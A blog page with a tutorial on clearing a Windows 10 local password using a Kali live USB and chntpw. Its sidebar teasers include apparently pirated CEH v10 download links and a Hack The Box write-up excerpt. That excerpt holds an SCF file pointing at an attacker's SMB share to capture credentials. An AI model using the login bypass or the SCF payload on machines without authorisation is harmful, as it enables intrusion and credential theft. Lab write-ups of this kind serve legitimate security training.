Reset Windows 10 Local Password with Kali Linux Live USB

 Can't access your computer because of forgetting Windows 10 password? Compared to offline local account, Microsoft online account makes it super easy to reset your password to regain access to your computer. If you lost a local administrator password, you have to use third-party bootable media. In this tutorial we'll show you how to reset lost Windows 10 local password with Kali Linux.

Make a Kali Bootable USB Drive


When you're locked out of Windows 10, you need to use another PC to make a Kali bootable USB drive. Please follow the steps listed below.

  1. Download the ISO image of Kali Linux (formerly known as BackTrack). It's free.
  2. Next, you'll need a program to install Kali on your USB drive and make it bootable. Here we'll use the freeware ISO2Disc. Just download and install it on your local PC.

  3. Start the ISO2Disc utility. Click Browse to locate your Kali Linux image.

  4. Choose the Burn to USB Flash Drive option and select the drive letter for your USB drive. Click Start Burn to create a Kali Live USB drive.


Boot with Kali Linux USB

Once you have a Kali Live USB, plug it into the USB port of your Windows 10 computer and boot from the USB. You may have to press a special key (e.g., Esc, F2, F12, Del, etc.) during bootup to get the computer to boot from the USB instead of its internal hard drive.

Reset Windows 10 Local Password

  1. After booting from USB, you will see Kali Linux Boot Menu. Choose the 3rd option which is Live (forensic mode).

  2. Enter the default username as root and password as toor when prompted.

  3. Open File Manager and navigate to the directory where the SAM is saved. This file is usually located in /Windows/System32/Config. Right-click a blank space in File Manager, and select Open Terminal Here.

  4. Type the command: chntpw -l SAM. It shows the list of usernames found in the SAM on your Windows 10 OS.

  5. Simply run the chntpw -u username SAM command to reset your lost password. Note: where username is the name of your actual Windows account. For example, my username is test, I should type chntpw -u test SAM after that hit Enter.

  6. Press 1 for clearing the previously set Windows password.

  7. Press y when asked if you want to save the changes to the SAM hive. Now, Reboot your computer and unplug the USB drive, you will see Window 10 automatically login without password.

Note that Kali Live USB can reset the password of local account only (not Microsoft account). If you need an easier and more powerful tool to reset forgotten Windows 10 password, you can try this dedicated password recovery utility - Monty Mahapatra

Comments

Post a Comment

Popular posts from this blog

🔰 CHE v10 🔰

*CEH v10 Download With PDF,Tools & Videos Files* Module 00: Introduction and Table of Contents http://www.mediafire.com/file/qzo9ptf01lvoawf/CEH+v10+Module+00+-++Introduction+and+table+of+Contents.pdf Module 01: Introduction to Ethical Hacking http://www.mediafire.com/file/n88nn8e0hytki26/CEH+v10+Module+01+Introduction+to+Ethical+Hacking.pdf Module 02: Footprinting and Reconnaissance http://www.mediafire.com/file/mg2ebx812nx0k2d/CEH+v10+Module+02+-+Footprinting+%26amp%3B+Reconnaissance.pdf Module 03: Scanning Networks http://www.mediafire.com/file/593t654bmvse8as/CEH+v10+Module+03+-+Scanning+Networks.pdf Module 04: Enumeration http://www.mediafire.com/file/rgzufa875ptj5h5/CEH+v10+Module+04+-+Enumeration.pdf Module 05: Vulnerability Analysis http://www.mediafire.com/file/q1ih2ge5f7e9f4q/CEH+v10+Module+05+Vulnerability+Analysis.pdf Module 06: System Hacking http://www.mediafire.com/file/xyh838vmn6k8r3k/CEH+v10+Module+06+System+Hacking.pdf Module 07: Malware Threats ht
Read more

Hackthebox — Driver Writeup

Image
  Hackthebox — Driver Writeup Matthew Oct 14 · 4 min read Proceed with an Nmap scan on the target machine nmap -A -sV -p- 10.10.11.106 Lets try accessing shares over smb. Anonymous login isn’t enabled on this machine. smbclient -L \\\\10.10.11.106\\ Now, enumerate the web server which brings up to a login prompt from “MFP Firmware Update Center”, so I tried to search up default credentials! I didn’t end up finding any default credentials for this login but, “ admin:admin ” worked. Now, navigating this website, I find an upload directory that is named “ fw_us.php ”. I tried uploading a shell  t o to the website, and modifying the request in Burp Suite to exploit a file upload vulnerability but nothing worked for me. After hours of finding a different methodology, I tried an  SCF(Shell Command Files)  file attack. [Shell] Command=2 IconFile=\\10.10.14.4\share\random.ico [Taskbar] Command=ToggleDesktop Labeling this file above  @test.scf  is important because it will put this to the top o
Read more